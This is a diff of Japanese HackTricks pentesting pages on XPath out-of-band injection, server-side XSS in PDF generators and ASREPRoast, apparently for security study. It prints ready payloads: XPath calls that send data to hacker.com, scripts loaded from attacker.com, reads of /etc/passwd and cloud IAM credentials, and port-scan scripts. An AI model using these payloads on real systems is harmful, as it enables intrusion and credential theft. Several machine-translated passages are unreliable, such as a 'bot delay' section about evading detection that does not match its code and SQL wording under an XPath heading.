@ -418,7 +447,7 @@ SELECT * FROM users WHERE username = '' OR '1'='1'--' AND password = 'password'
|
|||
|
||||
このクエリは常に真を返すため、攻撃者はデータベース内のすべてのユーザー情報を取得することができます。
|
||||
|
||||
XPathインジェクションの攻撃を防ぐためには、入力値の適切な検証とエスケープが必要です。アプリケーションは、ユーザーの入力を信頼せず、適切なフィルタリングとサニタイズを行う必要があります。また、プレースホルダを使用してクエリを構築することも重要です。
|
||||
XPathインジェクションの攻撃を防ぐためには、入力値の適切な検証とエスケープが必要です。アプリケーションは、ユーザーの入力を信頼せず、適切なフィルタリングとサニタイズを行う必要があります。また、プレースホルダを使用してクエリを構築することも推奨されます。
|
||||
```python
|
||||
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
|
||||
```
|
||||
|
@ -428,15 +457,11 @@ Out-of-Band (OOB) exploitation is a technique used in XPath injection attacks to
|
|||
|
||||
In OOB exploitation, the attacker injects malicious XPath queries that trigger requests to an external server controlled by the attacker. This allows the attacker to extract sensitive information from the application and send it to their own server.
|
||||
|
||||
To perform OOB exploitation, the attacker needs to identify a vulnerable parameter in the application that is used in an XPath query. They then inject a payload that includes an XPath query that triggers an OOB request. The payload typically includes a function or expression that causes the application to make a request to the attacker's server.
|
||||
To perform OOB exploitation, the attacker needs to identify a vulnerable parameter in the application that is used in an XPath query. They then inject a payload that includes an XPath function that triggers an HTTP request to their server. The attacker can use various techniques to extract data, such as blind XPath injection or error-based techniques.
|
||||
|
||||
Once the OOB request is triggered, the attacker can capture the request on their server and extract the desired data. This can be done by analyzing the request headers, body, or any other relevant information.
|
||||
Blind XPath injection involves injecting queries that result in a true or false condition, allowing the attacker to infer information based on the application's response. Error-based techniques involve injecting queries that intentionally cause errors in the application, revealing information in the error messages.
|
||||
|
||||
OOB exploitation can be used to extract various types of data, such as database contents, file system information, or even internal network details. It is a powerful technique that can lead to significant data leakage if not properly mitigated.
|
||||
|
||||
To protect against OOB exploitation, developers should ensure that user input is properly validated and sanitized before being used in XPath queries. Additionally, web application firewalls (WAFs) can be used to detect and block malicious XPath queries.
|
||||
|
||||
By understanding and being aware of OOB exploitation techniques, security professionals can better defend against XPath injection attacks and protect sensitive data within web applications.
|
||||
Once the attacker successfully extracts data using OOB exploitation, they can use it for various purposes, such as further attacks or data exfiltration. It is important for developers to implement proper input validation and sanitization techniques to prevent XPath injection vulnerabilities and protect sensitive data.
|
||||
```python
|
||||
doc(concat("http://hacker.com/oob/", RESULTS))
|
||||
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
|
||||
|
@ -455,12 +480,12 @@ doc-available(concat("http://hacker.com/oob/", RESULTS))
|
|||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20injection" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグ報酬の場です。**
|
||||
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofの報酬は、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
HackenProofの報酬は、顧客が報酬予算を入金した後に開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
**Web3ペンテストの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!成長するWeb3セキュリティをマスターしましょう。
|
||||
|
@ -476,7 +501,7 @@ HackenProofの報酬は、顧客が報酬予算を入金した後にのみ開始
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
|
|
|
@ -4,21 +4,29 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式PEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
## サーバーサイドXSS(動的PDF)
|
||||
|
||||
ウェブページがユーザーが制御する入力を使用してPDFを作成している場合、PDFを作成している**ボットをだます**ことができ、**任意のJSコードを実行**させることができます。\
|
||||
したがって、**PDF作成ボットが**いくつかの種類の**HTML** **タグを見つけると**、それらを**解釈**し、これを**悪用**して**サーバーXSS**を引き起こすことができます。
|
||||
ウェブページがユーザーが制御する入力を使用してPDFを作成している場合、PDFを作成している**ボットをだます**ことで、**任意のJSコードを実行**させることができます。\
|
||||
したがって、**PDF作成ボットが**いくつかの種類の**HTML** **タグを見つけると**、それらを**解釈**し、これを悪用して**サーバーXSS**を引き起こすことができます。
|
||||
|
||||
`<script></script>` タグは常に機能しないことに注意してください。そのため、JSを実行するためには別の方法が必要です(たとえば、`<img` を悪用する)。\
|
||||
また、通常の攻撃では、作成されたPDFを**表示/ダウンロード**することができるため、JSを使用して書いたものをすべて見ることができます(たとえば、`document.write()` を使用)。ただし、作成されたPDFを**表示できない**場合は、おそらく**Webリクエストを行って情報を抽出する**必要があります(ブラインド)。
|
||||
また、通常の攻撃では作成されたPDFを**表示/ダウンロード**することができるため、JSを使用して書いたものをすべて見ることができます(たとえば、`document.write()` を使用)。ただし、作成されたPDFを**表示できない**場合は、おそらく**Webリクエストを行って情報を抽出する**必要があります(ブラインド)。
|
||||
|
||||
### 人気のあるPDF生成方法
|
||||
|
||||
* **wkhtmltopdf**:_これは、HTMLとCSSをPDFドキュメントに変換するためにWebKitレンダリングエンジンを使用するオープンソースのコマンドラインツールです。_
|
||||
* **TCPDF**_:画像、グラフィック、暗号化など、さまざまな機能をサポートするPDFドキュメントを生成するためのPHPライブラリです。_
|
||||
* **PDFKit**:_HTMLとCSSからPDFドキュメントを生成するために使用できるNode.jsライブラリです。_
|
||||
* **iText**:_デジタル署名やフォーム入力などの機能をサポートする、JavaベースのPDFドキュメント生成用のライブラリです。_
|
||||
* **FPDF**_:軽量で使いやすいPHPライブラリで、PDFドキュメントを生成するために使用されます。_
|
||||
|
||||
## ペイロード
|
||||
|
||||
|
@ -37,7 +45,7 @@
|
|||
```
|
||||
### SVG
|
||||
|
||||
以下のいずれかのペイロードをこのSVGペイロード内で使用することができます。Burpcollabサブドメインにアクセスするiframeと、メタデータエンドポイントにアクセスする別のiframeが例として挙げられています。
|
||||
次のいずれかのペイロードをこのSVGペイロード内で使用することができます。Burpcollabサブドメインにアクセスするiframeと、メタデータエンドポイントにアクセスする別のiframeが例として挙げられています。
|
||||
```markup
|
||||
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
|
||||
<g>
|
||||
|
@ -73,24 +81,18 @@ if not, you will at least have wich path the bot is accessing -->
|
|||
```
|
||||
### 外部スクリプトの読み込み
|
||||
|
||||
この脆弱性を悪用する最も確実な方法は、ボットがローカルで制御可能なスクリプトを読み込むように脆弱性を悪用することです。その後、ローカルでペイロードを変更し、同じコードでボットに読み込ませることができます。
|
||||
この脆弱性を悪用する最も適切な方法は、ボットがローカルで制御可能なスクリプトを読み込むように脆弱性を悪用することです。その後、ローカルでペイロードを変更し、同じコードでボットに読み込ませることができます。
|
||||
```markup
|
||||
<script src="http://attacker.com/myscripts.js"></script>
|
||||
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
|
||||
```
|
||||
### ローカルファイルの読み取り
|
||||
### ローカルファイルの読み取り / SSRF
|
||||
|
||||
攻撃者は、サーバーサイドのXSS(クロスサイトスクリプティング)脆弱性を利用して、ターゲットのシステム上のローカルファイルを読み取ることができます。
|
||||
{% hint style="warning" %}
|
||||
`file:///etc/passwd` を `http://169.254.169.254/latest/user-data` などの外部ウェブページにアクセスするために変更してみてください(SSRF)。
|
||||
|
||||
攻撃者は、以下の手順に従ってローカルファイルを読み取ることができます。
|
||||
|
||||
1. 攻撃者は、サーバーサイドのXSS脆弱性を見つけます。
|
||||
2. 攻撃者は、XSSペイロードを作成し、ターゲットのシステムに送信します。
|
||||
3. ターゲットのシステムは、攻撃者が送信したXSSペイロードを実行します。
|
||||
4. XSSペイロードは、攻撃者が指定したローカルファイルを読み取ります。
|
||||
5. 攻撃者は、読み取ったローカルファイルの内容を取得します。
|
||||
|
||||
この攻撃は、サーバーサイドのXSS脆弱性が存在する場合にのみ成功します。攻撃者は、ターゲットのシステム上の重要な情報を取得するために、この攻撃を利用することがあります。
|
||||
もしSSRFが許可されているが、興味深いドメインやIPに到達できない場合は、[このページをチェックしてバイパスの可能性を確認してください](../ssrf-server-side-request-forgery/url-format-bypass.md)。
|
||||
{% endhint %}
|
||||
```markup
|
||||
<script>
|
||||
x=new XMLHttpRequest;
|
||||
|
@ -115,53 +117,28 @@ xhzeem.send();
|
|||
<link rel=attachment href="file:///root/secret.txt">
|
||||
<object data="file:///etc/passwd">
|
||||
<portal src="file:///etc/passwd" id=portal>
|
||||
<embed src="file:///etc/passwd>" width="400" height="400">
|
||||
<style><iframe src="file:///etc/passwd">
|
||||
<img src='x' onerror='document.write('<iframe src=file:///etc/passwd></iframe>')'/>&text=&width=500&height=500
|
||||
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
|
||||
```
|
||||
|
||||
```markup
|
||||
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />
|
||||
```
|
||||
### 外部のウェブページのレスポンスを添付ファイルとして取得する(メタデータエンドポイント)
|
||||
|
||||
In some cases, you may need to retrieve the response of an external web page and save it as an attachment. This can be useful when dealing with metadata endpoints.
|
||||
|
||||
以下の手順を実行して、外部のウェブページのレスポンスを添付ファイルとして取得します。
|
||||
|
||||
1. メタデータエンドポイントのURLを特定します。
|
||||
2. リクエストを作成し、メタデータエンドポイントに送信します。
|
||||
3. レスポンスを取得します。
|
||||
4. レスポンスをファイルとして保存します。
|
||||
|
||||
以下はPythonの例です。
|
||||
|
||||
```python
|
||||
import requests
|
||||
|
||||
# メタデータエンドポイントのURL
|
||||
url = "https://example.com/metadata"
|
||||
|
||||
# リクエストを作成して送信
|
||||
response = requests.get(url)
|
||||
|
||||
# レスポンスをファイルとして保存
|
||||
with open("response.txt", "wb") as file:
|
||||
file.write(response.content)
|
||||
```
|
||||
|
||||
このコードを実行すると、`response.txt`という名前のファイルが作成され、外部のウェブページのレスポンスが保存されます。
|
||||
|
||||
注意:この手法は、適切な権限を持つ場合にのみ使用してください。また、外部のウェブページに対してのみ使用し、不正な目的で使用しないようにしてください。
|
||||
```markup
|
||||
<link rel=attachment href="http://http://169.254.169.254/latest/meta-data/iam/security-credentials/">
|
||||
```
|
||||
### ボットの遅延
|
||||
|
||||
Botの遅延は、Webアプリケーションのセキュリティをテストする際に役立つテクニックです。Botの遅延を使用することで、Webアプリケーションが適切に処理されるかどうかを確認することができます。
|
||||
Botの遅延は、Webアプリケーションのセキュリティをテストする際に重要な要素です。ボットは、自動化された攻撃を実行するために使用されるため、適切な遅延を設定することが重要です。遅延を設定することで、攻撃が検出されるリスクを減らし、アプリケーションの正常な動作を維持することができます。
|
||||
|
||||
ボットの遅延は、サーバー側のXSS(クロスサイトスクリプティング)攻撃において特に有用です。サーバー側のXSS攻撃では、攻撃者は悪意のあるスクリプトをWebアプリケーションに注入し、他のユーザーに影響を与えることができます。
|
||||
ボットの遅延を設定するためには、以下の手順に従ってください。
|
||||
|
||||
ボットの遅延を使用すると、攻撃者は悪意のあるスクリプトを注入する前に、Webアプリケーションがボットであるかどうかを判断するための遅延を設定することができます。これにより、攻撃者のスクリプトが実行される前に、Webアプリケーションがボットであることを検出し、適切な対策を講じることができます。
|
||||
1. リクエストの間隔をランダム化する:攻撃者がボットを検出しにくくするために、リクエストの間隔をランダムに設定します。これにより、攻撃が自動化されたものとして特定されるリスクが低くなります。
|
||||
|
||||
ボットの遅延は、Webアプリケーションのセキュリティを向上させるための重要な手法の一つです。攻撃者が悪意のあるスクリプトを注入することを防ぐために、ボットの遅延を実装することをお勧めします。
|
||||
2. ユーザーエージェントの偽装:ボットが正当なユーザーとして認識されるようにするために、ユーザーエージェントを偽装します。これにより、攻撃が検出されるリスクが低くなります。
|
||||
|
||||
3. リクエストの順序を変更する:攻撃者が特定のパターンを検出しにくくするために、リクエストの順序をランダムに変更します。これにより、攻撃が予測されるリスクが低くなります。
|
||||
|
||||
ボットの遅延を設定することで、攻撃の検出リスクを低減し、セキュリティテストの効果を最大化することができます。
|
||||
```markup
|
||||
<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
|
||||
<script>
|
||||
|
@ -176,7 +153,11 @@ time += 500;
|
|||
```
|
||||
### ポートスキャン
|
||||
|
||||
ポートスキャンは、ターゲットシステムのオープンポートを特定するために使用されるテクニックです。ポートスキャンは、ネットワーク上の各ポートに接続を試みることで実行されます。ポートが開いている場合、接続が成功し、ポートが閉じている場合は接続が失敗します。ポートスキャンは、システムの脆弱性を特定するために使用されることもあります。
|
||||
ポートスキャンは、セキュリティテストの一環として使用されるネットワークスキャンの手法です。ポートスキャンは、特定のネットワーク上のホストに対して、開いているポートを特定するために使用されます。これにより、攻撃者はネットワーク上の脆弱性を特定し、潜在的な攻撃経路を見つけることができます。
|
||||
|
||||
ポートスキャンは、さまざまな方法で実行することができます。最も一般的な方法は、TCPポートスキャンです。攻撃者は、特定のポートにTCP接続を試み、接続が成功するかどうかを確認します。成功した接続は、開いているポートを示し、攻撃者はそのポートを標的として攻撃を試みることができます。
|
||||
|
||||
ポートスキャンは、セキュリティ上の脆弱性を特定するために使用される一方で、悪意のある攻撃にも使用されることがあります。したがって、正当な目的でのみ使用することが重要です。また、ポートスキャンは、ネットワークの所有者の許可を得て実行する必要があります。
|
||||
```markup
|
||||
<!--Scan local port and receive a ping indicating which ones are found-->
|
||||
<script>
|
||||
|
@ -195,9 +176,9 @@ checkPort(i);
|
|||
```
|
||||
### [SSRF](../ssrf-server-side-request-forgery/)
|
||||
|
||||
この脆弱性は非常に簡単にSSRFに変換できます(スクリプトが外部リソースを読み込むことができるため)。そのため、それを悪用してみてください(メタデータを読み取るなど)。
|
||||
この脆弱性は非常に簡単にSSRFに変換できます(スクリプトが外部リソースを読み込むことができるため)。そのため、単にそれを悪用してみてください(メタデータを読み取るなど)。
|
||||
|
||||
### 添付ファイル: PD4ML
|
||||
### 添付ファイル:PD4ML
|
||||
|
||||
**PD4ML**のようないくつかのHTML 2 PDFエンジンでは、PDFに添付ファイルを指定することができます。この機能を悪用して、PDFに**任意のローカルファイルを添付**することができます。\
|
||||
添付ファイルを開くために、ファイルを**Firefoxで開き、ペーパークリップのシンボルをダブルクリック**して添付ファイルを**新しいファイルとして保存**しました。\
|
||||
|
@ -212,20 +193,19 @@ Burpで**PDFのレスポンス**をキャプチャすると、PDF内の添付フ
|
|||
|
||||
## 参考文献
|
||||
|
||||
{% embed url="https://lbherrera.github.io/lab/h1415-ctf-writeup.html" %}
|
||||
|
||||
{% embed url="https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/" %}
|
||||
|
||||
{% embed url="https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html" %}
|
||||
* [https://lbherrera.github.io/lab/h1415-ctf-writeup.html](https://lbherrera.github.io/lab/h1415-ctf-writeup.html)
|
||||
* [https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/](https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/)
|
||||
* [https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html](https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html)
|
||||
* [https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c](https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,7 +4,7 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグバウンティの場所です。**
|
||||
|
||||
|
@ -20,12 +20,12 @@
|
|||
HackenProofのバウンティは、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
**Web3ペントestingの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!上昇期のWeb3セキュリティをマスターしましょう。
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!上昇期のweb3セキュリティをマスターしましょう。
|
||||
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)してハッキングから報酬を得ましょう!
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)して、ハッキングから報酬を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
|
@ -33,7 +33,7 @@ HackenProofのバウンティは、顧客が報酬予算を入金した後にの
|
|||
|
||||
ASREPRoast攻撃は、**Kerberosの事前認証が必要な属性([_**DONT\_REQ\_PREAUTH**_](https://support.microsoft.com/en-us/help/305144/how-to-use-the-useraccountcontrol-flags-to-manipulate-user-account-pro)_**)を持たないユーザー**を探します。
|
||||
|
||||
つまり、これらのユーザーのいずれかを代表してDCにAS\_REQリクエストを送信し、AS\_REPメッセージを受け取ることができます。この最後のメッセージには、元のユーザーキーで暗号化されたデータのチャンクが含まれています。その後、このメッセージを使用して、ユーザーパスワードをオフラインでクラックすることができます。
|
||||
つまり、これらのユーザーのいずれかを代表してDCにAS\_REQリクエストを送信し、AS\_REPメッセージを受け取ることができます。この最後のメッセージには、パスワードから派生した元のユーザーキーで暗号化されたデータのチャンクが含まれています。その後、このメッセージを使用して、ユーザーパスワードをオフラインでクラックすることができます。
|
||||
|
||||
さらに、**この攻撃を実行するためにはドメインアカウントは必要ありません**。DCへの接続のみが必要です。ただし、**ドメインアカウントがある場合**、ドメイン内の**Kerberosの事前認証が必要なユーザー**を取得するためにLDAPクエリを使用できます。**それ以外の場合はユーザー名を推測する必要があります**。
|
||||
|
||||
|
@ -76,7 +76,7 @@ Set-DomainObject -Identity <username> -XOR @{useraccountcontrol=4194304} -Verbos
|
|||
|
||||
[**ired.teamのAS-REP Roastingに関する詳細情報**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグ報奨金の場所です。**
|
||||
|
||||
|
@ -99,8 +99,8 @@ HackenProofの報奨金は、顧客が報奨金予算を入金した後に開始
|
|||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
|
||||
|
||||
</details>
|
||||
|
|